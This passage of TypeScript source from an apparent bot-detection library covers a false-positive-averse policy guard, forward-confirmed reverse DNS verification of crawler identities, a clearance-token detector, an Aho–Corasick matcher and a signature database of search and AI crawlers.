(!Number.isFinite(next.terminalScoreThreshold) || next.terminalScoreThreshold < 1 || next.terminalScoreThreshold > 100) {\n throw new Error(`terminalScoreThreshold must be between 1 and 100 (got ${String(next.terminalScoreThreshold)}).`);\n }\n\n this.mode = next.falsePositivePolicy;\n this.fallbackAction = next.fallbackAction;\n this.defaultAction = next.defaultAction;\n this.terminalScoreThreshold = next.terminalScoreThreshold;\n }\n\n /** Just the guard half of {@link describe}, in the shape {@link replaceGuard} accepts back. */\n describeGuard(): GuardSettings {\n return {\n falsePositivePolicy: this.mode,\n fallbackAction: this.fallbackAction,\n defaultAction: this.defaultAction,\n terminalScoreThreshold: this.terminalScoreThreshold,\n };\n }\n\n /**\n * The settings that decide how far a rule may go, for anything that reports on the\n * policy rather than applying it — a dashboard, a diagnostic, a startup log.\n *\n * Worth surfacing rather than keeping private: `falsePositivePolicy` is the single\n * setting that decides whether an unproven verdict can deny anybody, and a reader\n * looking at a screen full of verdicts cannot interpret one without knowing it.\n */\n describe(): { falsePositivePolicy: FalsePositivePolicy; fallbackAction: ActionName; defaultAction: ActionName; terminalScoreThreshold: number; rules: string[] } {\n\n return {\n falsePositivePolicy: this.mode,\n fallbackAction: this.fallbackAction,\n defaultAction: this.defaultAction,\n terminalScoreThreshold: this.terminalScoreThreshold,\n rules: this.ruleIds,\n };\n }\n\n decide(assessment: Assessment): Decision {\n for (const entry of this.compiled) {\n let matched: boolean;\n try {\n matched = entry.matches(assessment);\n } catch {\n // A throwing custom predicate must not take the request down, and must not\n // silently match either. Skipping is the only safe reading of \"unknown\".\n continue;\n }\n if (!matched) continue;\n return this.guard(\n {\n action: entry.rule.action,\n rule: entry.rule.id,\n reason: entry.rule.reason ?? describe(entry.rule.action, assessment),\n params: entry.rule.params ?? {},\n },\n assessment,\n );\n }\n\n return this.guard(\n {\n action: this.defaultAction,\n rule: \"default\",\n reason: `No rule matched; applying the default action (${this.defaultAction}).`,\n params: this.defaultParams,\n },\n assessment,\n );\n }\n\n /**\n * The safety guard.\n *\n * Note what it does *not* consider: how confident the score is, how many detectors\n * fired, or how badly the operator wants to block. Under `strict` there is exactly\n * one question — is there proof? — and everything else is a downgrade.\n */\n private guard(decision: Decision, assessment: Assessment): Decision {\n if (!TERMINAL_ACTIONS.has(decision.action)) return decision;\n if (this.mode === \"aggressive\") return decision;\n if (assessment.certain) return decision;\n\n if (this.mode === \"balanced\") {\n const strong = independentStrongSignals(assessment);\n if (assessment.score >= this.terminalScoreThreshold && strong >= 2) return decision;\n return this.downgrade(\n decision,\n assessment,\n `Balanced mode requires a score of at least ${this.terminalScoreThreshold} (this request scored ${assessment.score}) and at least two independent strong signals (found ${strong}).`,\n );\n }\n\n return this.downgrade(\n decision,\n assessment,\n `Strict mode permits a terminal action only on proven evidence. This request's verdict (${assessment.verdict}, score ${assessment.score}) rests on probabilistic signals, any of which a real client can trip.`,\n );\n }\n\n private downgrade(decision: Decision, assessment: Assessment, why: string): Decision {\n const downgraded: Decision = {\n ...decision,\n action: this.fallbackAction,\n downgradedFrom: decision.action,\n downgradeReason: why,\n reason: `${decision.reason} Downgraded from ${decision.action} to ${this.fallbackAction}: ${why}`,\n };\n this.onDowngrade?.(downgraded, assessment);\n return downgraded;\n }\n}\n\nfunction describe(action: ActionName, assessment: Assessment): string {\n const lead = assessment.certain\n ? `Proven ${assessment.botClass}${assessment.identity ? ` (${assessment.identity})` : \"\"}`\n : `${assessment.verdict} at score ${assessment.score}`;\n const top = assessment.evidence[0];\n return top ? `${lead}: ${top.summary}. Applying ${action}.` : `${lead}. Applying ${action}.`;\n}\n","/**\n * DNS access for crawler identity verification.\n *\n * The distinction this module exists to preserve is between *disproof* and *no\n * answer*, and it is the load-bearing detail of the whole no-false-positive design.\n *\n * A reverse lookup that succeeds and returns `crawl-66-249-66-1.googlebot.com` for a\n * client claiming to be Googlebot **confirms** the claim. One that succeeds and\n * returns `some-vps.example.net` **disproves** it. One that times out, hits SERVFAIL,\n * or finds no resolver at all proves nothing whatsoever — and must never be allowed\n * to look like disproof, because \"our resolver was briefly unhappy\" would otherwise\n * become \"we blocked Googlebot\".\n */\n\n/** The subset of `node:dns/promises` this library uses. Inject your own for tests or a custom resolver. */\nexport interface DnsResolver {\n /** PTR names for an address. Rejects on NXDOMAIN. */\n reverse(ip: string): Promise<string[]>;\n /** A and AAAA records for a name. Rejects on NXDOMAIN. */\n resolveAddresses(hostname: string): Promise<string[]>;\n}\n\nexport type VerificationOutcome =\n /** DNS confirmed the claimed identity. Deterministic. */\n | { status: \"verified\"; hostname: string }\n /**\n * DNS answered, and the answer contradicts the claim. Deterministic.\n *\n * `cause` is what callers should branch on. One of them offers an option to stop\n * treating a missing PTR as forgery, and it used to implement that by searching\n * `reason` for the words \"no PTR record\" — so rewording a human-readable sentence\n * silently turned an operator's explicit opt-out into a no-op.\n */\n | { status: \"contradicted\"; cause: \"no-ptr\" | \"wrong-domain\" | \"no-forward-record\" | \"address-mismatch\"; reason: string; hostname?: string | undefined }\n /** No usable answer. Proves nothing; produces no evidence in either direction. */\n | { status: \"indeterminate\"; reason: string };\n\n/** Node-backed resolver. Imported lazily so the library stays loadable on edge runtimes. */\nexport function nodeDnsResolver(timeoutMs = 1500): DnsResolver {\n let promised: Promise<typeof import(\"node:dns/promises\")> | undefined;\n const load = (): Promise<typeof import(\"node:dns/promises\")> => (promised ??= import(\"node:dns/promises\"));\n\n const guard = async <T>(work: Promise<T>): Promise<T> => {\n // A per-call deadline on top of the engine's own: the resolver library has its\n // own retry behaviour that can outlive a single lookup's usefulness.\n let timer: ReturnType<typeof setTimeout> | undefined;\n try {\n return await Promise.race([\n work,\n new Promise<never>((_, reject) => {\n timer = setTimeout(() => reject(new DnsTimeoutError()), timeoutMs);\n (timer as { unref?: () => void }).unref?.();\n }),\n ]);\n } finally {\n if (timer) clearTimeout(timer);\n }\n };\n\n return {\n async reverse(ip) {\n const dns = await load();\n return guard(dns.reverse(ip));\n },\n async resolveAddresses(hostname) {\n const dns = await load();\n const [v4, v6] = await Promise.allSettled([guard(dns.resolve4(hostname)), guard(dns.resolve6(hostname))]);\n const addresses = [\n ...(v4.status === \"fulfilled\" ? v4.value : []),\n ...(v6.status === \"fulfilled\" ? v6.value : []),\n ];\n if (addresses.length > 0) return addresses;\n\n // Nothing came back, and *why* decides a crawler's fate. Swallowing both\n // rejections into an empty array — as this did — makes a resolver timeout\n // indistinguishable from a name that genuinely has no address records, and the\n // caller reads an empty forward answer as a failed forward confirmation. A\n // thirty-second DNS blip therefore proved Googlebot to be an impersonator, which\n // is the precise failure this module's design exists to prevent. A rejection we\n // cannot interpret is re-raised so it degrades to `indeterminate`; only an\n // authoritative \"no such record\" is allowed to come back as an empty answer.\n const rejections = [v4, v6].filter((result) => result.status === \"rejected\").map((result) => result.reason as unknown);\n const inconclusive = rejections.find((reason) => !isDefinitiveAbsence(reason));\n if (inconclusive !== undefined) throw inconclusive;\n return addresses;\n },\n };\n}\n\nexport class DnsTimeoutError extends Error {\n override readonly name = \"DnsTimeoutError\";\n /**\n * Carried so the timeout reads as a timeout everywhere a DNS error's code is\n * inspected — the cache's replay, and the reason string an operator sees when a\n * crawler could not be verified. Deliberately not one of {@link DEFINITIVE_ABSENCE}:\n * a lookup that ran out of time has said nothing about whether the name exists.\n */\n readonly code = \"ETIMEDOUT\";\n constructor() {\n super(\"DNS lookup timed out\");\n }\n}\n\n/** DNS error codes that mean \"this name definitively does not exist\". */\nconst DEFINITIVE_ABSENCE = new Set([\"ENOTFOUND\", \"ENODATA\", \"NXDOMAIN\"]);\n\n/**\n * Classifies a DNS rejection. `true` means the negative answer is authoritative and\n * may be treated as a contradiction; `false` means we simply did not get an answer.\n */\nexport function isDefinitiveAbsence(error: unknown): boolean {\n const code = (error as { code?: unknown } | null)?.code;\n return typeof code === \"string\" && DEFINITIVE_ABSENCE.has(code);\n}\n\n/** True when `hostname` is `domain` itself or a subdomain of it. Never a substring match. */\nexport function isUnderDomain(hostname: string, domain: string): boolean {\n const host = hostname.toLowerCase().replace(/\\.$/, \"\");\n const suffix = domain.toLowerCase().replace(/^\\.|\\.$/g, \"\");\n return host === suffix || host.endsWith(`.${suffix}`);\n}\n\n/**\n * Forward-confirmed reverse DNS.\n *\n * 1. PTR the client IP.\n * 2. Require at least one name under one of `domains` — a *suffix* match on label\n * boundaries, so `googlebot.com.evil.net` does not pass.\n * 3. Forward-resolve that name and require the original IP back, which is what stops\n * anyone who controls a PTR record for their own address from claiming to be\n * Googlebot.\n */\nexport async function forwardConfirmedReverseDns(\n resolver: DnsResolver,\n ip: string,\n domains: readonly string[],\n): Promise<VerificationOutcome> {\n let names: string[];\n try {\n names = await resolver.reverse(ip);\n } catch (error) {\n if (isDefinitiveAbsence(error)) {\n return { status: \"contradicted\", cause: \"no-ptr\", reason: \"address has no PTR record, which every operator of a verifiable crawler publishes\" };\n }\n return { status: \"indeterminate\", reason: `reverse lookup failed: ${errorCode(error)}` };\n }\n\n if (names.length === 0) {\n return { status: \"contradicted\", cause: \"no-ptr\", reason: \"address has no PTR record, which every operator of a verifiable crawler publishes\" };\n }\n\n const candidate = names.find((name) => domains.some((domain) => isUnderDomain(name, domain)));\n if (candidate === undefined) {\n return { status: \"contradicted\", cause: \"wrong-domain\", reason: `PTR record ${names[0]!} is not under ${domains.join(\", \")}` };\n }\n\n let addresses: string[];\n try {\n addresses = await resolver.resolveAddresses(candidate);\n } catch (error) {\n if (isDefinitiveAbsence(error)) {\n return { status: \"contradicted\", cause: \"no-forward-record\", reason: `PTR name ${candidate} does not resolve forward` };\n }\n return { status: \"indeterminate\", reason: `forward lookup failed: ${errorCode(error)}` };\n }\n\n // An authoritative empty answer: the PTR name exists but publishes no address, so\n // it cannot forward-confirm. Stated separately from a mismatch because \"resolves to\n // nothing\" and \"resolves to somewhere else\" are different accusations, and the\n // reason string ends up in an operator's logs.\n if (addresses.length === 0) {\n return { status: \"contradicted\", cause: \"no-forward-record\", reason: `PTR name ${candidate} does not resolve forward` };\n }\n\n // Compare normalised bytes, not strings: the forward answer may spell an IPv6\n // address differently from the way the socket reported it.\n const { normalizeIp } = await import(\"./ip.js\");\n const target = normalizeIp(ip);\n const confirmed = addresses.some((address) => normalizeIp(address) === target);\n if (!confirmed) {\n return { status: \"contradicted\", cause: \"address-mismatch\", reason: `PTR name ${candidate} resolves to ${addresses.slice(0, 3).join(\", \")}, not ${ip}` };\n }\n return { status: \"verified\", hostname: candidate };\n}\n\nfunction errorCode(error: unknown): string {\n const code = (error as { code?: unknown } | null)?.code;\n return typeof code === \"string\" ? code : \"unknown\";\n}\n\ntype CacheEntry = { expiresAt: number } & ({ ok: true; value: string[] } | { ok: false; code: string });\n\n/**\n * A remembered failure, replayed with the code the original carried.\n *\n * The code is the whole point. Caching failures as an undifferentiated sentinel and\n * rethrowing a bare `Error` erased the one bit that matters — whether the resolver\n * said \"no such name\" or said nothing — so a forged crawler was proven an impersonator\n * on its first request and downgraded to `indeterminate` for every request after it,\n * for as long as the entry lived. The cache silently undid the detection it was there\n * to make affordable.\n */\nclass CachedDnsError extends Error {\n override readonly name = \"CachedDnsError\";\n constructor(readonly code: string) {\n super(`cached DNS failure (${code})`);\n }\n}\n\nexport interface CachingResolverOptions {\n /** How long a successful answer is reused, ms. Default 3600000 (1h). */\n ttlMs?: number;\n /**\n * How long a failure is remembered, ms. Default 60000.\n *\n * Much shorter than the success TTL on purpose. Caching a failure for an hour would\n * turn a one-minute resolver blip into an hour of unverified Googlebot, and the\n * cost of retrying is one lookup.\n */\n errorTtlMs?: number;\n /** Maximum names and addresses cached. Default 10000. */\n max?: number;\n}\n\n/**\n * Memoises lookups.\n *\n * Verification would otherwise resolve DNS twice for *every* request from a crawler,\n * which for a site Googlebot likes is thousands of lookups an hour for an answer that\n * changes approximately never. Caching here rather than inside the detector keeps it\n * at the layer where the data is genuinely cacheable, and lets you swap the whole\n * resolver out in tests without losing it.\n */\nexport function cachingResolver(inner: DnsResolver, options: CachingResolverOptions = {}): DnsResolver {\n const ttlMs = options.ttlMs ?? 3_600_000;\n const errorTtlMs = options.errorTtlMs ?? 60_000;\n const max = options.max ?? 10_000;\n const cache = new Map<string, CacheEntry>();\n /**\n * Lookups already in flight, so that N concurrent requests from one crawler cost one\n * query rather than N. Without this the cache helps only *after* the first answer\n * lands, which is the wrong half of the problem: a crawler's requests arrive in\n * bursts, so the miss that matters is the one a hundred requests take simultaneously.\n */\n const inFlight = new Map<string, Promise<string[]>>();\n\n const lookup = (key: string, work: () => Promise<string[]>): Promise<string[]> => {\n const now = Date.now();\n const hit = cache.get(key);\n if (hit !== undefined && hit.expiresAt > now) {\n return hit.ok ? Promise.resolve(hit.value) : Promise.reject(new CachedDnsError(hit.code));\n }\n const pending = inFlight.get(key);\n if (pending !== undefined) return pending;\n\n const query = work().then(\n (value) => {\n store(key, { ok: true, value, expiresAt: now + ttlMs });\n inFlight.delete(key);\n return value;\n },\n (error: unknown) => {\n // Definitive absences are cached as absences, so a forged crawler claim does\n // not cost a lookup on every request it sends. The code is kept so the replay\n // is still an absence rather than a shrug.\n const definitive = isDefinitiveAbsence(error);\n store(key, { ok: false, code: errorCode(error), expiresAt: now + (definitive ? ttlMs : errorTtlMs) });\n inFlight.delete(key);\n throw error;\n },\n );\n inFlight.set(key, query);\n return query;\n };\n\n const store = (key: string, entry: CacheEntry): void => {\n cache.set(key, entry);\n if (cache.size <= max) return;\n // Map iterates in insertion order, so the first key is the oldest.\n const oldest = cache.keys().next();\n if (oldest.done !== true) cache.delete(oldest.value);\n };\n\n return {\n reverse: (ip) => lookup(`r:${ip}`, () => inner.reverse(ip)),\n resolveAddresses: (hostname) => lookup(`f:${hostname}`, () => inner.resolveAddresses(hostname)),\n };\n}\n","import type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\nimport type { ChallengeService } from \"../challenge/index.js\";\n\n/**\n * Reads a clearance token the client already holds.\n *\n * This is the library's only source of *human*-pointing evidence that is not a\n * guess about headers, and it is worth being exact about what each level earns,\n * because overstating any of them would undo the whole design.\n *\n * - **`operator`** is `certain`. Your application told us this is a person — an\n * authenticated session, a completed purchase, whatever your own bar is. We are\n * believing you, not deducing anything, which is the same reasoning that makes a\n * client's self-declaration `certain` in the other direction.\n * - **`interaction`** is `strong`. A trusted input event was observed. Automation\n * driving a real browser can synthesise something close, so this is very good\n * evidence and not proof.\n * - **`pow`** is only `moderate`, and this is the number people are most tempted to\n * inflate. A solved proof of work shows a JavaScript engine ran and CPU was spent.\n * A headless Chrome does both, happily and at scale. It raises the cost of a scrape\n * substantially; it says nothing whatsoever about whether a human is present.\n *\n * The token is bound to the actor and signed, so it cannot be lifted from one client\n * and replayed by another under a different actor key.\n */\nexport function clearanceDetector(service: ChallengeService): Detector {\n return {\n id: \"clearance\",\n description: \"Reads a signed clearance token proving the client previously passed a check\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence | undefined {\n const claims = service.read(ctx.actor.key, ctx.facts.cookies);\n if (!claims) return undefined;\n\n const ageMs = ctx.facts.timestamp - claims.iat;\n\n if (claims.lvl === \"operator\") {\n return {\n detector: \"clearance\",\n summary: \"Client holds an operator-granted clearance token\",\n direction: \"human\",\n certainty: \"certain\",\n deterministicBasis:\n \"The application issued this clearance itself, on evidence it holds and this library cannot see. It is an assertion by the operator, not an inference from the request, and the token's signature binds it to this actor.\",\n metadata: { level: claims.lvl, ageMs },\n };\n }\n\n if (claims.lvl === \"interaction\") {\n return {\n detector: \"clearance\",\n summary: \"Client holds a clearance token granted after a trusted input event\",\n direction: \"human\",\n certainty: \"strong\",\n weight: 0.7,\n metadata: { level: claims.lvl, ageMs },\n };\n }\n\n return {\n detector: \"clearance\",\n summary: \"Client holds a clearance token granted for a completed proof of work\",\n direction: \"human\",\n certainty: \"moderate\",\n weight: 0.45,\n metadata: {\n level: claims.lvl,\n ageMs,\n note: \"Proof of work demonstrates a JavaScript engine and spent CPU. It does not demonstrate a person.\",\n },\n };\n },\n };\n}\n","/**\n * Aho–Corasick multi-pattern matcher over lowercase ASCII.\n *\n * The known-bot database holds a few hundred literal signatures, and every request\n * has to be checked against all of them. The naive approach — a loop of\n * `haystack.includes(needle)` or, worse, a list of regexes — is O(patterns × length)\n * per request and scales with the size of the database, which is the thing most\n * likely to grow.\n *\n * This runs in a single pass over the input, O(length + matches), independent of how\n * many patterns are registered. Automata are built once at construction and are\n * immutable afterwards, so they can be shared freely across requests and instances.\n */\n/** Shared empty result. Frozen so a caller cannot mutate every future no-match answer. */\nconst EMPTY: readonly never[] = Object.freeze([]);\n\nexport class MultiPatternMatcher<T> {\n /** Transition tables, one Map per node, indexed by character code. */\n private readonly transitions: Map<number, number>[] = [new Map()];\n private readonly fail: number[] = [0];\n /** Payloads that end at each node, plus everything reachable via fail links. */\n private readonly outputs: T[][] = [[]];\n /** Longest pattern registered — lets callers skip inputs that cannot match. */\n readonly maxPatternLength: number = 0;\n readonly patternCount: number;\n /**\n * Flat transition table for the root node over 7-bit ASCII.\n *\n * A scan of text that matches nothing — every request from a real browser — sits at\n * the root for its entire length, so the root's transition lookup happens once per\n * character and dominates everything else. A `Map.get` there costs a hash and a\n * bucket probe; an array index costs neither. 512 bytes, built once.\n *\n * Patterns are overwhelmingly lowercase ASCII. The rare one that is not — a crawler\n * that names itself in Cyrillic or Han — gets a root transition above 127, which the\n * flat table cannot hold; those live in {@link rootWide}, left undefined when there\n * are none so the common case pays one `undefined` check.\n */\n private readonly rootAscii = new Int32Array(128);\n private readonly rootWide: Map<number, number> | undefined;\n\n constructor(patterns: Iterable<readonly [pattern: string, payload: T]>) {\n let count = 0;\n let maxLength = 0;\n\n for (const [rawPattern, payload] of patterns) {\n if (rawPattern.length === 0) continue;\n // Lowercased here rather than trusted from the caller. `matchAll` scans an\n // already-lowercased haystack, so a pattern carrying a capital can never match\n // anything — and it fails by matching nothing at all, which looks exactly like a\n // signature that is simply never seen. Normalising once at build time turns that\n // silent dead entry into a working one at no per-request cost.\n const pattern = rawPattern.toLowerCase();\n count++;\n maxLength = Math.max(maxLength, pattern.length);\n let node = 0;\n for (let i = 0; i < pattern.length; i++) {\n const code = pattern.charCodeAt(i);\n let next = this.transitions[node]!.get(code);\n if (next === undefined) {\n next = this.transitions.length;\n this.transitions.push(new Map());\n this.fail.push(0);\n this.outputs.push([]);\n this.transitions[node]!.set(code, next);\n }\n node = next;\n }\n this.outputs[node]!.push(payload);\n }\n\n this.patternCount = count;\n this.maxPatternLength = maxLength;\n this.buildFailureLinks();\n\n let wide: Map<number, number> | undefined;\n for (const [code, target] of this.transitions[0]!) {\n if (code < 128) this.rootAscii[code] = target;\n else (wide ??= new Map()).set(code, target);\n }\n this.rootWide = wide;\n }\n\n /** Root-node transition. Kept separate so the hot loop reads an array, not a Map. */\n private fromRoot(code: number): number {\n if (code < 128) return this.rootAscii[code]!;\n return this.rootWide === undefined ? 0 : (this.rootWide.get(code) ?? 0);\n }\n\n private buildFailureLinks(): void {\n const queue: number[] = [];\n for (const child of this.transitions[0]!.values()) {\n this.fail[child] = 0;\n queue.push(child);\n }\n for (let head = 0; head < queue.length; head++) {\n const node = queue[head]!;\n // Merging the fail node's outputs in at build time makes `search` a plain\n // walk with no fail-link chasing per character.\n const failOutputs = this.outputs[this.fail[node]!]!;\n if (failOutputs.length > 0) this.outputs[node]!.push(...failOutputs);\n\n for (const [code, child] of this.transitions[node]!) {\n let candidate = this.fail[node]!;\n while (candidate !== 0 && !this.transitions[candidate]!.has(code)) candidate = this.fail[candidate]!;\n const target = this.transitions[candidate]!.get(code);\n this.fail[child] = target !== undefined && target !== child ? target : 0;\n queue.push(child);\n }\n }\n }\n\n /**\n * Every distinct payload whose pattern occurs in `haystack`. The input must\n * already be lowercased — casing is normalised by the caller, once, rather than\n * per pattern.\n *\n * The no-match case allocates nothing and returns a shared frozen array. That is\n * the case for every request from a person, so it is the one worth making free.\n */\n matchAll(haystack: string): readonly T[] {\n if (this.patternCount === 0 || haystack.length === 0) return EMPTY;\n let found: Set<T> | undefined;\n let node = 0;\n for (let i = 0; i < haystack.length; i++) {\n const code = haystack.charCodeAt(i);\n if (node === 0) {\n node = this.fromRoot(code);\n } else {\n while (node !== 0 && !this.transitions[node]!.has(code)) node = this.fail[node]!;\n node = node === 0 ? this.fromRoot(code) : (this.transitions[node]!.get(code) ?? 0);\n }\n const output = this.outputs[node]!;\n if (output.length === 0) continue;\n found ??= new Set<T>();\n for (let j = 0; j < output.length; j++) found.add(output[j]!);\n }\n return found === undefined ? EMPTY : [...found];\n }\n\n /** Cheap existence check that stops at the first hit. */\n matchFirst(haystack: string): T | undefined {\n if (this.patternCount === 0) return undefined;\n let node = 0;\n for (let i = 0; i < haystack.length; i++) {\n const code = haystack.charCodeAt(i);\n if (node === 0) {\n node = this.fromRoot(code);\n } else {\n while (node !== 0 && !this.transitions[node]!.has(code)) node = this.fail[node]!;\n node = node === 0 ? this.fromRoot(code) : (this.transitions[node]!.get(code) ?? 0);\n }\n const output = this.outputs[node]!;\n if (output.length > 0) return output[0];\n }\n return undefined;\n }\n\n has(haystack: string): boolean {\n return this.matchFirst(haystack) !== undefined;\n }\n}\n","import { MultiPatternMatcher } from \"../internal/matcher.js\";\n\n/**\n * The known-bot signature database.\n *\n * Two things live here, and it is worth being precise about the difference.\n *\n * A **signature** matches a literal token in a User-Agent. That is a *claim* the\n * client makes about itself, nothing more — anyone can send `Googlebot/2.1`. A claim\n * is useful for two opposite reasons: an honest bot's claim tells us what it is, and\n * a dishonest one gives us something to disprove.\n *\n * A **verification** is how that claim gets checked against an authority outside the\n * request. Only the pairing of the two produces a `certain` verdict — either\n * `verified-bot` (claim confirmed) or `impersonator` (claim disproved). A signature\n * with no verification can never do better than `declared-bot`.\n */\n\nexport type BotCategory =\n | \"search\"\n | \"ai\"\n | \"seo\"\n | \"social\"\n | \"monitoring\"\n | \"archive\"\n | \"feed\"\n | \"security\"\n | \"advertising\"\n | \"library\"\n | \"headless\"\n /** A real browser engine embedded in a desktop application, with a person driving it. */\n | \"embedded\"\n | \"other\";\n\n/** Every category, for anything that has to enumerate them — a rule editor, a report. */\nexport const BOT_CATEGORIES: readonly BotCategory[] = [\"search\", \"ai\", \"seo\", \"social\", \"monitoring\", \"archive\", \"feed\", \"security\", \"advertising\", \"library\", \"headless\", \"embedded\", \"other\"];\n\n/**\n * How a claimed identity is checked.\n *\n * - `fcrdns` — forward-confirmed reverse DNS. Reverse-resolve the client IP, require\n * the name to sit under one of `domains`, then forward-resolve that name and\n * require the original IP back. Forging this requires control of the operator's\n * DNS, which is the property that makes it `certain` in both directions.\n * - `ip-ranges` — the operator publishes IP ranges but sets no usable PTR records.\n * Verifiable only if you supply the ranges (see `crawlerRanges` in the config);\n * the library will not fetch them for you, because a detector that makes an\n * outbound HTTP request on a schedule is a dependency you should opt into\n * knowingly.\n * - `none` — no published mechanism. The claim is unfalsifiable, so we neither\n * confirm nor accuse.\n */\nexport type Verification =\n | { kind: \"fcrdns\"; domains: readonly string[] }\n | { kind: \"ip-ranges\"; publishedAt?: string }\n | { kind: \"none\" };\n\nexport interface BotSignature {\n /** Stable id, used in rules, logs and metrics. */\n id: string;\n name: string;\n /** Lowercase literal tokens; a match on any one identifies this bot. */\n tokens: readonly string[];\n category: BotCategory;\n verification: Verification;\n /**\n * Whether this client is generally *benign* — something most sites want to keep\n * serving. Search and social preview crawlers are; scrapers and scanners are not.\n * Drives the default policy's allow path, never a block.\n */\n benign: boolean;\n /**\n * Whether matching this signature is *conclusive* evidence of automation. Default\n * true.\n *\n * Set it false when the token can legitimately appear on a request a person made.\n * The motivating case is Electron: the UA is emitted by VS Code's Simple Browser,\n * Slack, Discord and Postman, which are real Chromium instances with a human\n * driving them. A signature match is only allowed into the `certain` tier when the\n * claim \"no honest client sends this\" actually holds, and for embedded webviews it\n * plainly does not.\n */\n conclusive?: boolean;\n /** Why this signature is not conclusive. Surfaced in the evidence summary. */\n caveat?: string;\n /**\n * The product token to name in a `User-agent:` line in `robots.txt`.\n *\n * Defaults to the first match token. Worth setting where the canonical spelling\n * differs from the token we match on — `robots.txt` matching is case-insensitive,\n * so this is about a file a person will read, not about correctness.\n */\n robotsAgent?: string;\n docs?: string;\n}\n\n/** Search-engine crawlers with published, DNS-verifiable identities. */\nconst SEARCH: BotSignature[] = [\n { id: \"googlebot\", name: \"Googlebot\", tokens: [\"googlebot\", \"google-inspectiontool\", \"storebot-google\", \"googleother\", \"google favicon\", \"google-read-aloud\", \"google-shopping-quality\", \"google-site-verification\", \"googleproducersearch\", \"google-safety\"], category: \"search\", benign: true, robotsAgent: \"Googlebot\", verification: { kind: \"fcrdns\", domains: [\"googlebot.com\", \"google.com\", \"googleusercontent.com\"] }, docs: \"https://developers.google.com/search/docs/crawling-indexing/verifying-googlebot\" },\n { id: \"bingbot\", name: \"Bingbot\", tokens: [\"bingbot\", \"adidxbot\", \"msnbot\", \"bingpreview\"], category: \"search\", benign: true, robotsAgent: \"bingbot\", verification: { kind: \"fcrdns\", domains: [\"search.msn.com\"] }, docs: \"https://www.bing.com/webmasters/help/how-to-verify-bingbot-3905dc26\" },\n { id: \"yandexbot\", name: \"YandexBot\", tokens: [\"yandexbot\", \"yandeximages\", \"yandexmobilebot\", \"yandexaccessibilitybot\"], category: \"search\", benign: true, robotsAgent: \"YandexBot\", verification: { kind: \"fcrdns\", domains: [\"yandex.ru\", \"yandex.net\", \"yandex.com\"] } },\n { id: \"baiduspider\", name: \"Baiduspider\", tokens: [\"baiduspider\"], category: \"search\", benign: true, robotsAgent: \"Baiduspider\", verification: { kind: \"fcrdns\", domains: [\"baidu.com\", \"baidu.jp\"] } },\n { id: \"applebot\", name: \"Applebot\", tokens: [\"applebot\"], category: \"search\", benign: true, robotsAgent: \"Applebot\", verification: { kind: \"fcrdns\", domains: [\"applebot.apple.com\"] } },\n { id: \"duckduckbot\", name: \"DuckDuckBot\", tokens: [\"duckduckbot\", \"duckassistbot\"], category: \"search\", benign: true, robotsAgent: \"DuckDuckBot\", verification: { kind: \"ip-ranges\" } },\n { id: \"sogou\", name: \"Sogou Spider\", tokens: [\"sogou web spider\", \"sogou inst spider\"], category: \"search\", benign: true, verification: { kind: \"fcrdns\", domains: [\"sogou.com\"] } },\n { id: \"seznambot\", name: \"SeznamBot\", tokens: [\"seznambot\"], category: \"search\", benign: true, verification: { kind: \"fcrdns\", domains: [\"seznam.cz\"] } },\n { id: \"naver-yeti\", name: \"Naver Yeti\", tokens: [\"yeti/\", \"yeti-mobile\"], category: \"search\", benign: true, verification: { kind: \"fcrdns\", domains: [\"naver.com\"] } },\n { id: \"petalbot\", name: \"PetalBot\", tokens: [\"petalbot\", \"aspiegel\"], category: \"search\", benign: true, verification: { kind: \"fcrdns\", domains: [\"petalsearch.com\", \"aspiegel.com\"] } },\n { id: \"qwantbot\", name: \"Qwantbot\", tokens: [\"qwantbot\", \"qwantify\"], category: \"search\", benign: true, verification: { kind: \"none\" } },\n { id: \"mojeek\", name: \"MojeekBot\", tokens: [\"mojeekbot\"], category: \"search\", benign: true, verification: { kind: \"none\" } },\n { id: \"marginalia\", name: \"Marginalia Search\", tokens: [\"search.marginalia.nu\"], category: \"search\", benign: true, verification: { kind: \"none\" } },\n // Regional engines. Between them these are the default search for a very large\n // share of the world, and a policy that allows \"search crawlers\" while knowing only\n // the western ones quietly de-indexes a site across most of Asia.\n { id: \"coccoc\", name: \"Coc Coc Bot\", tokens: [\"coccocbot\"], category: \"search\", benign: true, robotsAgent: \"coccocbot\", verification: { kind: \"fcrdns\", domains: [\"coccoc.com\"] } },\n { id: \"360spider\", name: \"360 Spider\", tokens: [\"360spider\", \"haosouspider\"], category: \"search\", benign: true, robotsAgent: \"360Spider\", verification: { kind: \"none\" } },\n { id: \"yisouspider\", name: \"Shenma (Yisou) Spider\", tokens: [\"yisouspider\"], category: \"search\", benign: true, robotsAgent: \"YisouSpider\", verification: { kind: \"none\" } },\n { id: \"yahoo-slurp\", name: \"Yahoo! Slurp\", tokens: [\"yahoo! slurp\"], category: \"search\", benign: true, robotsAgent: \"Slurp\", verification: { kind: \"fcrdns\", domains: [\"crawl.yahoo.net\", \"yahoo.com\"] } },\n { id: \"mail-ru\", name: \"Mail.Ru bot\", tokens: [\"mail.ru_bot\"], category: \"search\", benign: true, verification: { kind: \"none\" } },\n { id: \"exabot\", name: \"Exabot (Exalead)\", tokens: [\"exabot\"], category: \"search\", benign: true, verification: { kind: \"none\" } },\n { id: \"kagibot\", name: \"Kagi\", tokens: [\"kagibot\"], category: \"search\", benign: true, robotsAgent: \"KagiBot\", verification: { kind: \"none\" } },\n];\n\n/**\n * AI training and retrieval crawlers. Split out from `search` because the decision\n * about them is a *policy* decision, not a security one — many sites happily serve\n * search engines while declining to feed model training, and the two need separate\n * rules. All of them announce themselves honestly, which is the reason a rule\n * matching them works at all.\n */\nconst AI: BotSignature[] = [\n { id: \"gptbot\", name: \"GPTBot\", tokens: [\"gptbot\"], category: \"ai\", benign: true, robotsAgent: \"GPTBot\", verification: { kind: \"ip-ranges\" }, docs: \"https://platform.openai.com/docs/bots\" },\n { id: \"oai-searchbot\", name: \"OAI-SearchBot\", tokens: [\"oai-searchbot\"], category: \"ai\", benign: true, robotsAgent: \"OAI-SearchBot\", verification: { kind: \"ip-ranges\" } },\n { id: \"chatgpt-user\", name: \"ChatGPT-User\", tokens: [\"chatgpt-user\"], category: \"ai\", benign: true, robotsAgent: \"ChatGPT-User\", verification: { kind: \"ip-ranges\" } },\n { id: \"claudebot\", name: \"ClaudeBot\", tokens: [\"claudebot\", \"claude-web\", \"anthropic-ai\", \"claude-user\", 